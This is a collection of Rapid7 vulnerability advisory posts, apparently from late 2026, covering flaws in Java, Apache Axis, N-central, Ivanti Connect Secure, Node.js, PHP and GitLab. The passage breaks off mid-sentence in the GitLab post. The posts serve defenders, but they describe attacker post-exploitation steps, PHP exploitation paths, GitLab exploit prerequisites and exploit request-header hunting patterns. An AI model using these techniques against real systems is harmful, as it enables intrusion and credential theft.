Tag Archives: Emergent Threat Response

CVE-2026-114938: Reported Critical Pre-authentication Remote Code Execution in Java 17

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-cve-2026-114938-reported-critical-pre-authentication-remote-code-execution-java-17

Overview

On November 17, 2026, public reports described CVE-2026-114938 as a memory corruption vulnerability in Java 17 and above that could allow a remote attacker to execute code without authentication. The reported severity is Critical, with a CVSSv4 score of 9.2. These CVE-specific details remain preliminary, pending confirmation in Oracle or OpenJDK advisories.

Rapid7 is actively monitoring the situation and will update this blog as new information arrives.

For the latest vendor release information, refer to Oracle’s November security update notice and OpenJDK’s vulnerability advisories.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-114938 with an authenticated vulnerability check available in the November 17 content release (1.1.4115).

Updates

  • November 17, 2026: Initial publication.

Rapid7 Detected Exploitation of CVE-2026-90436 against Atlassian Confluence Data Center, N-able N-central also Exploited

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-rapid7-detected-exploitation-of-cve-2026-90436-against-atlassian-confluence-data-center-n-able-n-central-also-exploited

Overview

On November 6, 2026, the Apache Software Foundation disclosed CVE-2026-90436, a critical unsafe reflection vulnerability (CWE-470) in Axis 1.x that allows for unauthenticated remote code execution (RCE). Apache Axis is a Simple Object Access Protocol (SOAP) implementation used for the creation of Java Web services. CISA has assigned CVE-2026-90436 a CVSS score of 9.8 Critical.

Since the initial November 6 disclosure, it has transpired that some versions of Atlassian Confluence Data Center and N-able N-central use the affected Axis library and are vulnerable to CVE-2026-90436. Both products require a non-default configuration in order to be vulnerable.

CVE-2026-90436 is now being actively exploited in the wild against both known affected products. On November 13, 2026, Rapid7 MDR detected exploitation of CVE-2026-90436 against Atlassian Confluence Data Center in a customer environment. Separately, on November 13, 2026, N-able reported exploitation in the wild against N-central for a vulnerability that strongly correlates to CVE-2026-90436. A proof-of-concept exploit that leverages CVE-2026-90436 and targets N-central was published on November 12, 2026, as part of a series of public zero-day disclosures against N-central.

Rapid7 recommends remediating exposed systems on an emergency basis outside of normal patching cycles.

MDR observed exploitation

On November 13, 2026, Rapid7’s MDR team responded to a surge of alerts firing on the abnormal child processes launched by an Atlassian Confluence server. A review of the Confluence access logs revealed unauthenticated POST requests to /plugins/servlet/soap-axis1/confluenceservice-v2, each returning an HTTP 500 (Internal Server Error). Despite the error responses, endpoint telemetry showed Confluence’s Java process launching Bash and curl as the dedicated confluence service account, within seconds of these requests. The attacker proceeded to run hundreds of hex-encoded shell commands and scripts fetched from temporary Pinggy and Cloudflare Tunnel domains. Each command wrapped its output in labeled delimiters, and carried sequential task IDs, a structure that suggests the use of AI-assisted automated tooling.

From this foothold, the attacker enumerated the host, network, Confluence configuration, encryption keys, and database settings. Just over three minutes after the first observed execution, the attackers were authenticating to MySQL with Confluence’s own database credentials, querying page bodies, application links, and attachments with names associated with credentials, tokens, VPN configurations, and private keys. The attacker’s scripts, likely AI-generated, then targeted files in Confluence’s default location for uploaded page attachments (/var/atlassian/application-data/confluence/attachments/v4/), parsed Office documents, searched for credentials, and hunted for payment card numbers, using Luhn checks to filter out false positives.

The attacker continued extensive enumeration, mapping various internal services. They used a Confluence application credential to query the internal Atlassian Crowd API for users and group memberships, then ran Impacket’s GetNPUsers.py against a domain controller, attempting an AS-REP roasting attack.

Although these attempts failed, the access we did observe relied on credentials stored in Confluence, and roughly four hours after the first exploit request, the attacker had acquired a service account credential and began querying a production cloud data warehouse. Approximately twelve hours after the first exploit request, the attacker signed in to Microsoft 365 as an integration service account using legacy authentication from 192.238.253[.]176. The same address appeared in the hostname of the Pinggy tunnel and in exploit requests observed earlier in the intrusion.

Mitigation guidance

Prioritize internet-accessible instances with the relevant APIs enabled, and check internal deployments as well. Apply the product-specific actions below, then investigate systems that were exposed for evidence of compromise.

Axis 1.x through 1.4 is affected but has reached end of life (EOL) and Apache does not plan to publish a fixed Axis 1.x release. Apache recommends moving to another SOAP engine (for example, Apache Axis 2) or using an Axis 1.x build with this patch applied. Organizations using products that are affected by this issue should follow the product vendor’s specific remediation instructions.

Atlassian Confluence Data Center

Atlassian lists versions 1.x through to 9.x as affected when “Remote API (XML-RPC & SOAP)” is enabled. Version 9.2.28 is the fixed release. The setting has been off by default for new installations since version 3.0. Confluence version 10.x and later removed the feature so are not vulnerable, and Atlassian Cloud is unaffected.

Affected users should upgrade to version 9.2.28 or a current unaffected 10.x release. If patching must wait, an administrator can open “General Configuration” and “Further Configuration”, edit the settings, clear “Remote API (XML-RPC & SOAP)”, and save. The change takes effect without restarting Confluence, but integrations using the API may stop working.

Follow the Confluence advisory for the latest fixes and mitigation instructions.

N-able N-central

On-premises administrators should confirm that “Legacy API” is disabled, even on 2026.4 HF2. N-able states that it is off by default, and provides instructions for disabling Legacy API. Its November 13 guidance says hosted environments received temporary protections directly; customers in both hosting models must still follow the vendor’s Agent and Probe upgrade guidance. N-able also temporarily disabled the Intune integration as a precaution. Refer to the N-able security update for these responsibilities.

Update: On November 16, 2026, N-able released N-central 2026.4 HF3 (2026.4.1.39) which addresses multiple issues including seventeen new CVEs. The “Legacy API” feature which exposed the vulnerable CVE-2026-90436 Axis attack surface has been disabled in this new release. N-central users should upgrade to N-central 2026.4 HF3 on an emergency basis outside of normal patching cycles.

Follow the N-able advisory for the latest fixes and mitigation instructions.

IOCs

The presence of these IOCs in logs should prompt investigation, but the absence of these addresses does not confirm that an environment was unaffected.

Atlassian Confluence Data Center

The following IP addresses and domains are associated with observed exploitation of CVE-2026-90436 against Atlassian Confluence Data Center:

  • 192.238.253[.]176

  • 5.133.47[.]243

  • 163.182.68[.]109

  • 104.13.106[.]166

  • *.trycloudflare[.]com

  • wpefh-192-238-253-176.free.pinggy[.]net

  • webhook[.]site

N-able N-central

N-able’s November 13 incident update lists these IP addresses as IOCs for N-central customers who had not disabled Legacy API.

  • 157.20.241[.]16

  • 139.99.69[.]109

  • 79.76.51[.]56

The vendor’s update also lists associated URLs for use in compromise assessment.

Updates

  • November 16, 2026: Initial publication.

  • November 17, 2026: Updated Remediation section for N-central.
  • November 17, 2026: Added the MDR observed exploitation section and updated IOCs.

Critical vulnerabilities in N-able N-central prompt hosted shutdown

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-critical-vulnerabilities-in-n-able-n-central-prompt-hosted-shutdown

Overview

On November 9, 2026, N-able announced that it was responding to the public disclosure of critical vulnerabilities affecting N-central, its remote monitoring and management (RMM) platform.

In a public disclosure titled Able2Shell, an independent researcher has published details and proof-of-concept (PoC) code covering 33 issues. According to the disclosure, the issues include unauthenticated remote code execution (RCE), privilege escalation to root, credential disclosure, and unauthorized account creation. One unauthenticated chain combines XML external entity (XXE) and session-handling weaknesses to execute code as the nable service account. Other demonstrated chains involve an administrator viewing malicious patch metadata or use ProductAdmin credentials. Rapid7 Intelligence is currently triaging the newly published details.

Before the hotfix release on November 10, N-able reported scanning activity associated with the published PoC code and said it had no evidence that any customer environment had been successfully exploited. The vendor advised keeping N-central deployments offline while it developed and validated a hotfix. Hosted N-central classic environments were offline, according to the same notice. That notice did not yet include CVE identifiers or CVSS scores.

N-central is used by managed service providers (MSPs) and enterprise IT teams to administer endpoints and infrastructure. Compromise of an RMM server can put downstream managed environments at risk. N-central has previously been targeted through separate vulnerabilities, including an authentication bypass covered by Rapid7 in August 2026. Given the platform’s administrative reach and the availability of public exploit code, Rapid7 recommends treating the current disclosure as an emergency.

Update #1: On November 10, 2026, N-able released N-central 2026.4 Hotfix 2 (build 2026.4.1.26), addressing seven CVEs. The vendor plans a follow-up hotfix with further security updates. On November 11, N-able confirmed that hosted N-central servers across all regions had been successfully upgraded.

Mitigation guidance

Rapid7 strongly recommends that organizations operating on-premises N-central servers upgrade to N-central 2026.4 Hotfix 2 (build 2026.4.1.26) on an emergency basis outside of normal patching cycles, and keep servers offline until successfully upgraded. Hosted servers are upgraded by N-able.

Customers in both hosted and on-premises environments must also upgrade their Agents and Probes. To maintain communication, upgrade Agents first, then Probes, following the vendor’s compatibility guidance for the Patch Management Engine (PME).

  • Affected versions: The researcher reports testing N-central Appliance 2026.4.0.31. N-able’s current notice does not specify the full affected-version range.

  • Fixed versions: N-central 2026.4 Hotfix 2 (build 2026.4.1.26) addresses the seven CVEs listed below.

According to N-able’s release notes, the hotfix addresses:

CVE

Description

CVE-2026-125883

Multiple XXE vulnerabilities

CVE-2026-125878

Multiple OGNL injection vulnerabilities

CVE-2026-125879

Local privilege escalation to root through nable-writable syslog-ng configuration

CVE-2026-125880

Stored XSS through MMS3 patch metadata in an administrator context

CVE-2026-125881

Schema-hint SSRF through service-import schema validation

CVE-2026-125882

RCE through file-repository upload path traversal; credited to Nate Fair, Sprocket Security

CVE-2026-91000

Local privilege escalation through insecure IPC channels

Further security updates are planned in a follow-up hotfix. Organizations should monitor the vendor’s guidance and apply subsequent fixes as they become available.

Rapid7 also recommends reviewing N-central servers and downstream managed systems for signs of compromise and engaging incident responders if suspicious activity is identified.

For the latest mitigation guidance, please refer to N-able’s security incident notice.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can identify N-able N-central “potential” vulnerabilities based on presence of software with remote unauthenticated checks with the release on November 11th, 2026. Note that potential check type must be enabled in the scan template before scanning.

Unauthenticated checks that validate vulnerable versions are in development.

Intelligence Hub

Customers leveraging Rapid7’s Intelligence Hub can access Suricata detection rules for CVE-2026-125883, CVE-2026-125878, CVE-2026-125879, CVE-2026-125880, CVE-2026-125881, and CVE-2026-125882.

Updates

  • November 10, 2026: Initial publication.

  • November 11, 2026: Added hotfix availability, seven CVE identifiers, hosted upgrade confirmation, and updated remediation guidance. Noted the planned follow-up hotfix.
  • November 11, 2026: Added availability of Suricata detection rules within Intelligence Hub.
  • November 11, 2026: Added Exposure Command, Vulnerability Management, and Nexpose subsection under the Rapid7 customers section.

Additional Ivanti Connect Secure zero-days exploited in the wild (CVE-2026-111357, CVE-2026-118527)

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-additional-ivanti-connect-secure-zero-days-exploited-in-the-wild-cve-2026-111357-cve-2026-118527

Overview

On October 29, 2026, Ivanti updated its security advisory for Ivanti Connect Secure (ICS) to include two additional vulnerabilities and released fixes for both. Ivanti rates CVE-2026-111357, a missing authentication for critical function vulnerability (CWE-306), with a CVSSv3.1 score of 8.8; it allows a local authenticated attacker to escalate privileges. CVE-2026-118527, classified as generation of predictable numbers or identifiers (CWE-340), has an Ivanti-assigned CVSSv3.0 score of 4.3 and, according to CISA’s KEV entry, allows a remote authenticated attacker to upload attacker-controlled content to a known location on disk.

Per Ivanti, exploitation in the wild has already occurred prior to disclosure, affecting a limited number of customers when these flaws are chained with CVE-2026-104935, an authentication bypass by spoofing (CWE-290). Rapid7 covered the original disclosure on October 13, 2026, when a fix for CVE-2026-104935 was available but the privilege escalation component remained unpatched. Fixes are now available for all three vulnerabilities.

On October 30, 2026, CVE-2026-111357 and CVE-2026-118527 were added to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation.

The following scores and classifications are from Ivanti’s updated advisory:

CVE

Ivanti CVSS score

CWE

Impact

CVE-2026-104935

8.6 (High), CVSSv3.0

CWE-290

Remote unauthenticated command execution

CVE-2026-111357

8.8 (High), CVSSv3.1

CWE-306, CWE-862, CWE-345

Local authenticated privilege escalation

CVE-2026-118527

4.3 (Medium), CVSSv3.0

CWE-340

Remote authenticated file upload to a known path

Note: The CVE record and Rapid7’s vulnerability database rate CVE-2026-111357 at 7.0, using high attack complexity and unchanged scope. Ivanti assesses low attack complexity and changed scope, resulting in its score of 8.8. The table follows Ivanti’s scores and classifications.

In its investigation, Volexity reports that UTA0576 used an exploit chain to gain unauthenticated root access to an appliance running 22.8R2.4, beginning on October 3, 2026. Its write-up identifies CVE-2026-104935 and CVE-2026-111357; Ivanti’s updated advisory identifies CVE-2026-118527 as an additional component of the chain. Volexity observed credential theft and Active Directory queries for Windows LAPS passwords and BitLocker recovery keys.

The combined impact warrants emergency remediation despite the individual CVSS ratings. Ivanti Connect Secure is an enterprise VPN solution deployed at the network edge and has a history of zero-day exploitation, including in 2024 and 2025.

Mitigation guidance

Rapid7 recommends applying the available updates on an emergency basis outside of normal patching cycles. The October 13 fixes in 25.1.1.2 and 22.8R2.5 do not remediate CVE-2026-111357 or CVE-2026-118527.

CVE(s)

Affected versions

Fixed version(s)

CVE-2026-111357 and CVE-2026-118527

25.1.1.2 and prior

25.1.1.3

CVE-2026-111357 and CVE-2026-118527

22.8R2.5 and prior

22.8R2.6

CVE-2026-104935

25.1.1.1 and prior

25.1.1.2

CVE-2026-104935

25.1.2.2 and prior

25.1.3.0, 25.1.3.1

CVE-2026-104935

22.8R2.4 and prior

22.8R2.5

Ivanti recommends moving from 22.8.X to 25.1.1.3 or later, or applying 22.8R2.6 if migration is not immediately possible. Ivanti lists 25.1.3.0 and later on ISA4500, ISA6500, or ISA8500 as unaffected.

Rapid7 also recommends investigating for compromise after patching. Volexity reports that the observed activity evades Ivanti’s Integrity Checker Tool, so a clean result does not rule out compromise. Preserve memory and logs before rebooting or resetting where feasible. If compromise is suspected, follow Ivanti’s recovery steps and rotate potentially exposed credentials.

For current fixed versions and mitigation guidance, refer to Ivanti’s security advisory. Its linked recovery procedure includes older release references.

Artifacts, evidence sources, and IOCs

The following guidance and artifacts are from Volexity’s investigation:

Hunting guidance:

  • Review requests to /dana-na/auth/url_default/welcome.cgi, especially URL/header mismatches involving X-DSCGI-PATH. Observed values include:

X-DSCGI-PATH: /home/webserver/htdocs/dana/fb/smb/wu.cgi
X-DSCGI-PATH: /home/runtime/tmp/<MD5(filename)>

Evidence sources on the appliance:

  • /tmp/: ml.py, rq5.py, mk.py, rr.py, pu.txt, sp_out.txt, and spray_hits.json.

  • /data/.icscap/: dsstatmond, cap*, and h.py.

  • /home/runtime/tmp/: ics-root-run-inband-*.pl and ics-root-result-inband-*.

  • /home/runtime/dlogs/debuglog and /var/log/audit/audit.log: investigate evidence of selective deletion.

Network IOCs:

  • 108.165.147[.]64: UTA0576 exploitation IP, per Volexity’s IOC list.

Volexity also provides YARA rules for request-header evidence and the privilege escalation payload in memory.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-111357 and CVE-2026-118527 with authenticated vulnerability checks available since the 2026-10-30 content release.

Updates

  • November 2, 2026: Initial publication.

CVE-2026-111497: Critical out-of-bounds write in the Node.js Brotli decoder

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-cve-2026-111497-critical-out-of-bounds-write-in-the-node-js-brotli-decoder

Overview

On October 21, 2026, the Node.js Project published a security advisory for CVE-2026-111497, an out-of-bounds write in the Brotli decoder bundled with Node.js. The vulnerability affects the Node.js 26.x, 24.x, and 22.x release lines. Node.js rates the issue High, while Google, the CVE Numbering Authority (CNA), gives it a critical CVSSv4 score of 9.2.

An attacker who can supply Brotli data that an application decompresses with node:zlib can corrupt process memory. According to Node.js, this corruption can lead to a process crash, disclosure of sensitive process memory, or remote code execution. Exposure therefore depends on whether an application passes attacker-controlled compressed data to the affected decoder.

On October 27, 2026, CVE-2026-111497 was added to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. Given the vulnerability’s potential to disclose memory or enable remote code execution (RCE), Rapid7 recommends that organizations prioritize remediation.

Technical overview

CVE-2026-111497 is classified as an out-of-bounds write (CWE-787) and an unchecked return value (CWE-252). Per the vendor advisory, the decoder handled an invalid Brotli block switch as a temporary need for more input instead of a permanent format error. The streaming decoder then continued appending input bytes to an eight-byte internal buffer, allowing malformed input to write beyond the buffer and corrupt process memory.

The vulnerability originates in Google Brotli, which the affected Node.js release lines bundle as a dependency. The CVE record identifies affected upstream Brotli ranges on all platforms as versions 1.0.3 before 1.0.10, 1.1.0 before 1.1.1, and 1.2.0 before 1.2.1. The Node.js Project remediated its bundled decoder in the fixed Node.js releases listed below.

Because CVE-2026-111497 affects the upstream Google Brotli decoder, its reach is not limited to Node.js. Vendor and project advisories have also identified affected implementations in Bun, Python’s Brotli and brotlicffi packages, .NET, Envoy and Istio, brotli4j, and operating-system packages. Affected versions, default exposure, and remediation vary by product; the presence of an affected decoder does not by itself establish exposure unless an application processes attacker-controlled Brotli data. Organizations should consult the relevant downstream vendor or distribution advisories to identify affected versions, assess exposure, and determine appropriate remediation.

Mitigation guidance

Vendor-supplied security updates are available to remediate CVE-2026-111497. Organizations running an affected Node.js release should upgrade on an urgent basis, outside of normal patch cycles:

  • Node.js 22.x releases before 22.23.4 are affected; upgrade to 22.23.4 or later.

  • Node.js 24.x releases before 24.22.1 are affected; upgrade to 24.22.1 or later.

  • Node.js 26.x releases before 26.12.1 are affected; upgrade to 26.12.1 or later.

The vendor states that end-of-life Node.js release lines should also be treated as affected when a security release occurs. Organizations using an end-of-life release should migrate to a supported, fixed release line. Node.js has not published a vendor-supported workaround; if an immediate upgrade is not possible, Rapid7 recommends restricting or disabling application paths that decompress untrusted Brotli data as a temporary exposure-reduction measure.

For the latest mitigation guidance, please refer to the Node.js security advisory.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-111497 with an authenticated vulnerability check for Linux, macOS, and Windows, available in the October 26 content release.

Updates

  • October 26, 2026: Initial publication.

  • October 26, 2026: Updated the Exposure Command, Vulnerability Management, and Nexpose section to reflect coverage availability.
  • October 27, 2026: Updated Overview to add a reference to CVE-2026-111497 being added to the CISA KEV list.

CVE-2026-109618 and CVE-2026-109619: Critical Unauthenticated Remote Code Execution in PHP

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-cve-2026-109618-and-cve-2026-109619-critical-unauthenticated-remote-code-execution-in-php

Overview

On October 21, 2026, the PHP project announced security releases for two critical vulnerabilities in PHP. CVE-2026-109618 can corrupt memory during out-of-memory (OOM) handling, while CVE-2026-109619 is a use-after-free flaw involving state retained between requests. Both have a CVSSv4 score of 9.2 and both can allow for unauthenticated remote code execution (RCE) with the web worker’s privileges.

CVE

CVSSv4

Description

CVE-2026-109618

9.2 (Critical)

RCE via OOM corruption

CVE-2026-109619

9.2 (Critical)

RCE via stale global state

All installations serving web requests are at risk, including PHP-FPM, Apache mod_php, php-cgi, FrankenPHP, and LiteSpeed. The vendor considers mod_php the highest risk because exploitation can succeed before any application code runs.

The advisories report that a successful RCE exploit was developed during research, including achieving RCE against Apache mod_php and PHP-FPM through different attack paths. As of October 21, 2026, there are multiple indications that this research is being independently reproduced, and a viable exploit is expected to be made public soon.

Due to the extremely high deployment of PHP based web applications, exploitation in-the-wild is expected. Rapid7 recommends updating affected installations on an emergency basis, outside of normal patch cycles.

Multiple public proof-of-concept (PoC) exploits for CVE-2026-109618 and CVE-2026-109619 are now available. Rapid7 researchers have reviewed these and observe that each demonstrates RCE only against a specific combination of operating system, PHP version, and web server, and none appears to be broadly reliable. Rapid7’s own research supports this. Our attempts so far have produced a working exploit only under narrow lab conditions, and exploitation depends on assumptions that are unlikely to hold on internet-facing instances. We are continuing to investigate approaches that could improve portability, but have not yet developed a reliable, general-purpose exploit. Rapid7 has not observed exploitation in the wild, though there are multiple reports of exploitation attempts, which is expected for a vulnerability of this profile. The situation is evolving quickly, and a more portable exploit technique could emerge at any time. The current difficulty of reliable exploitation should be treated as a window to patch rather than a reason to delay, and Rapid7 continues to recommend updating affected installations on an emergency basis.

Update #1: On October 26, 2026, CVE-2026-109618 and CVE-2026-109619 were added to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. CISA set the remediation due date to October 29, 2026, for affected Federal Civilian Executive Branch agencies and directs them to follow the associated BOD 26-04 forensic triage requirements. Rapid7 continues to recommend updating affected installations on an emergency basis and investigating for prior compromise.

Technical overview

CVE-2026-109618: Memory corruption during OOM handling

According to the OOM advisory, PHP can abruptly abandon request processing when a memory allocation fails. If internal request data is only partly initialized, that exit can leave invalid data for request cleanup to use. Crafted multipart requests, used for forms and file uploads, can exhaust memory even when their size appears to meet PHP’s configured limits. Application operations that allocate memory in response to attacker input can also trigger OOM.

Apache mod_php runs cleanup even when request startup fails, enabling the demonstrated attack before application code executes. The advisory reports RCE over HTTP with default PHP input and memory limits, including multi-worker prefork deployments. PHP-FPM terminates a worker when startup fails, preventing that particular sequence. Source analysis supports FPM susceptibility after successful startup, but the advisory reports no complete FPM exploit for this CVE. Exploit portability and reliability depend on the PHP build, extensions, frontend behavior, and memory layout.

CVE-2026-109619: Use after free across requests

PHP can reuse a worker process to handle multiple HTTP requests. The stale-state advisory describes internal state that still points to memory freed at the end of an earlier request. A later request handled by the same worker can access that stale value before normal initialization clears it. Fatal errors, including memory exhaustion and execution timeouts, can interrupt state cleanup; some nonfatal diagnostics during shutdown can also repopulate error state after it was reset.

The advisory confirms RCE against mod_php through PHP 8.5’s fatal error backtrace feature, when fatal_error_backtraces is enabled (the default), where a later initialization diagnostic accesses stale backtrace state. It also confirms session lifecycle RCE against mod_php and FPM. Session upload progress, PHP’s upload-tracking feature, is enabled by default and can act as an early consumer of stale session or decoder state before normal initialization; reaching this consumer does not itself require an application call to session_start().

The validated FPM session path requires a suitable application operation to leave state behind after successful startup, followed by a fatal error and another request that consumes the stale state through session upload progress. Both requests must reach the same worker. Multiple workers and worker recycling can reduce success per request, but do not eliminate the condition.

Mitigation guidance

PHP has released fixes for both vulnerabilities. Organizations should prioritize updating to the appropriate fixed release or a vendor package containing both complete patches. The PHP advisories list these affected and fixed versions:

  • PHP 8.2 releases before 8.2.35: Update to 8.2.35

  • PHP 8.3 releases before 8.3.36: Update to 8.3.36

  • PHP 8.4 releases before 8.4.27: Update to 8.4.27

  • PHP 8.5 releases before 8.5.12: Update to 8.5.12

Linux distributions and long-term support vendors received patches in advance; check your vendor for updated packages. PHP 8.1 and older no longer receive routine upstream updates. For this incident, PHP has supplied limited source backports for PHP 7.4, 8.0, and 8.1. Organizations running older branches should obtain a vendor fix, use the source backports described in the PHP announcement, or upgrade to a supported version. PHP also warns that rpms.remirepo.net will not have updates on October 21, 2026, and urges its users to switch to distribution packages or build from source.

Note that an update containing both complete fixes is the only complete remediation. 

PHP’s temporary configuration measures reduce exposure to specific paths and require careful deployment:

  • For the OOM issue, enforce memory_limit=-1 administratively, such as through FPM pool or Apache configuration that applications cannot override. This disables PHP’s per-request memory cap and removes the predictable PHP-limit failure used by the confirmed exploit. An underlying allocation failure can still reach the vulnerable path. Restart every worker and verify that no pool, directory, or application setting restores a finite limit.

  • For the session lifecycle path, set session.upload_progress.enabled=0 in php.ini, an FPM pool, or server configuration that applies before request parsing, then restart every worker. Application-level ini_set() and FPM .user.ini are too late. This addresses the confirmed session paths only.

  • On PHP 8.5, set fatal_error_backtraces=0 administratively and restart every worker. This addresses the confirmed fatal backtrace path only; other retained state remains a concern.

Disabling PHP’s memory cap makes independent resource controls particularly important. PHP recommends post_max_size=8M where uploads are unnecessary or post_max_size=32M where they are needed, with upload_max_filesize below that limit. At the frontend, bound decoded request size, input and multipart counts, headers per part, and nesting depth, including requests without a usable Content-Length. If the application does not use multipart data, block those requests before they reach PHP.

Container or cgroup memory limits are also incomplete: allocation failures remain possible, and enforcement can kill the master process and all workers unless workers are isolated. Do not substitute RLIMIT_AS or RLIMIT_DATA, which can trigger the vulnerable allocation-failure path.

For stale-state exposure, correct invalid or deprecated per-request settings and attacker-reachable fatal errors or timeouts. Hiding diagnostics through error_reporting, display_errors, log_errors, or @ does not prevent stale-state access. The absence of relevant log entries is not proof that an installation is safe.

For the latest mitigation guidance, refer to PHP’s OOM corruption advisory and stale global state advisory.

Rapid7 customers

To learn how to use Rapid7 capabilities to find systems affected by these vulnerabilities and for answers to common questions, read the PHP2Shell documentation.

For Rapid7 Customers with questions regarding Rapid7 products and their usage of PHP please consult this page.

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-109618 and CVE-2026-109619 with remote unauthenticated vulnerability checks, available in a dedicated release that followed the regular October 21 content release.

Rapid7 has also released authenticated scan checks for both the Scan Engine and the Agent for CVE-2026-109618 and CVE-2026-109619 as part of the October 22 content release.

Authenticated, package-based checks are now available for a variety of Linux distributions.  These checks evaluate installed distribution packages, so they can recognize backported fixes that keep the original upstream PHP version number. Run an authenticated scan with this content release to use them. For the full list of checks and supported distribution versions, read Rapid7’s PHP2Shell documentation, where package-based coverage for other distributions will be added as their fixes are published.

In a dedicated October 23 content release following the regular release, Rapid7 has released coverage for CVE-2026-115560, published on October 23 by the PHP Foundation. A mitigation technique is available, but no patch has yet been published. Exploitation of CVE-2026-115560 relies on non-standard configuration.

Current scope for authenticated coverage: Windows, macOS and Linux. Remote unauthenticated coverage provides coverage regardless of web-server OS.

Velociraptor

A Velociraptor Artifact Generic.Applications.PHPInventory is available to inventory PHP installations on Windows, Linux and macOS for remediation scoping. This artifact allows for the collection of package versions, common binary and module paths, and running PHP processes.

Updates

  • October 21, 2026: Initial publication.

  • October 21, 2026: Updated to reflect availability of vulnerability checks.

  • October 22, 2026: Updated the Overview section to include Rapid7’s findings on a PoC and the Rapid7 Customers section to include a link to the FAQ documentation.

  • October 23, 2026: Updated the Exposure Command, Vulnerability Management, and Nexpose section to describe authenticated coverage, Linux distro backported coverage, and more.

  • October 27, 2026: Updated the Overview to note that CVE-2026-109618 and CVE-2026-109619 were added to the CISA KEV catalog. Updated Rapid7 customers section to reflect added Windows support.

Ivanti Connect Secure zero-day exploited in the wild (CVE-2026-104935)

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-ivanti-connect-secure-zero-day-exploited-in-the-wild-cve-2026-104935

Overview

On October 13, 2026, Ivanti published a security advisory for CVE-2026-104935, a high-severity authentication bypass by spoofing (CWE-290) affecting Ivanti Connect Secure (ICS). The vulnerability has a CVSSv3.0 score of 8.6 and allows a remote, unauthenticated attacker to execute arbitrary commands.

Ivanti reports that exploitation in the wild has already occurred prior to disclosure, affecting a limited number of customers. This indicates that exploitation has been occurring as a zero-day vulnerability. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) confirms exploitation in the wild, and added CVE-2026-104935 to its Known Exploited Vulnerabilities (KEV) catalog on the same day as the vendor’s public disclosure. The digital forensics firm Volexity has published a detailed blog post describing the threat actor activity, which was detected in early October 2026. Volexity notes that in addition to leveraging CVE-2026-104935 as a zero-day, the threat actor also leveraged an as-yet unpatched privilege escalation vulnerability which Ivanti are planning to patch at a later date.

According to the vendor, a portion of the vulnerability was initially discovered through its product security program and patched in the July 2026 release of 25.1.3.0. Exploitation occurred while Ivanti was working to backport the fix to the remaining supported versions.

Ivanti Connect Secure is a popular enterprise VPN solution and naturally sits on the edge of a corporate environment. The product has a history of being targeted by attackers, with zero-day exploitation of other vulnerabilities occurring back in both 2024 and 2025.

Given the confirmed exploitation, the ability to execute commands without authentication, along with the history of the product, Rapid7 recommends that organizations running affected versions apply the appropriate update on an emergency basis outside of normal patching cycles.

Mitigation guidance

Vendor-supplied updates are available to remediate CVE-2026-104935. Ivanti lists the following affected and resolved versions:

Ivanti Connect Secure affected versions

Resolved versions

25.1.1.1 and prior in the applicable code line

25.1.1.2

25.1.2.2 and prior in the applicable code line

25.1.3.0, 25.1.3.1

22.8R2.4 and prior in the applicable code line

22.8R2.5

Note that the vendor advisory confirms that versions 22.7.x and below are unaffected.

At the time of the advisory, Ivanti states that reliable indicators of compromise are not available, however Volexity have published several here. Rapid7 strongly recommends looking for signs of compromise even after the patch has been applied. Customers who suspect exploitation should follow the vendor’s recovery steps.

For the latest mitigation guidance, please refer to the vendor’s security advisory.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-104935 with a vulnerability check expected to be available in the October 14 content release.

Updates

  • October 13, 2026: Initial publication.

CVE-2026-97229: Critical Unauthenticated Remote Code Execution in GitLab

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-cve-2026-97229-critical-unauthenticated-remote-code-execution-in-gitlab

Overview

On October 12, 2026, GitLab published a critical patch release for CVE-2026-97229, an integer overflow or wraparound (CWE-190) in the CI/CD regular expression compiler affecting GitLab Community Edition (CE) and Enterprise Edition (EE). GitLab assigned the vulnerability a CVSSv3.1 score of 10.0. Under certain conditions, a remote attacker can execute arbitrary code on an affected GitLab server through a specially crafted regular expression stored in a malicious CI/CD configuration. While the vendor supplied CVSS score indicates that exploitation is fully unauthenticated, in reproducing the exploit it was noted that an attacker must have a mechanism to plant a malicious CI/CD configuration to a repository prior to triggering the vulnerability. On GitLab instances where new users can self register and create projects, this constraint is removed.

The vulnerability affects self-managed GitLab instances across all deployment types. GitLab.com is already running a patched version, and GitLab Dedicated customers do not need to take action.

As of this writing, there is no confirmed in-the-wild exploitation of CVE-2026-97229. However, Rapid7 Intelligence has independently reproduced arbitrary code execution on an unpatched, official GitLab CE image. Given the vulnerability’s maximum CVSS score, network-accessible trigger, and code execution in a GitLab application worker, Rapid7 recommends upgrading affected self-managed instances on an urgent basis, outside of normal patch cycles.

Technical overview

Rapid7’s testing found that an attacker must first be able to commit a malicious CI/CD configuration file .gitlab-ci.yml, and a repository path containing UTF-8 characters to a branch in a public project. For example, an ordinary account can satisfy this prerequisite by creating a public project on a self-managed GitLab instance where that functionality is permitted. 

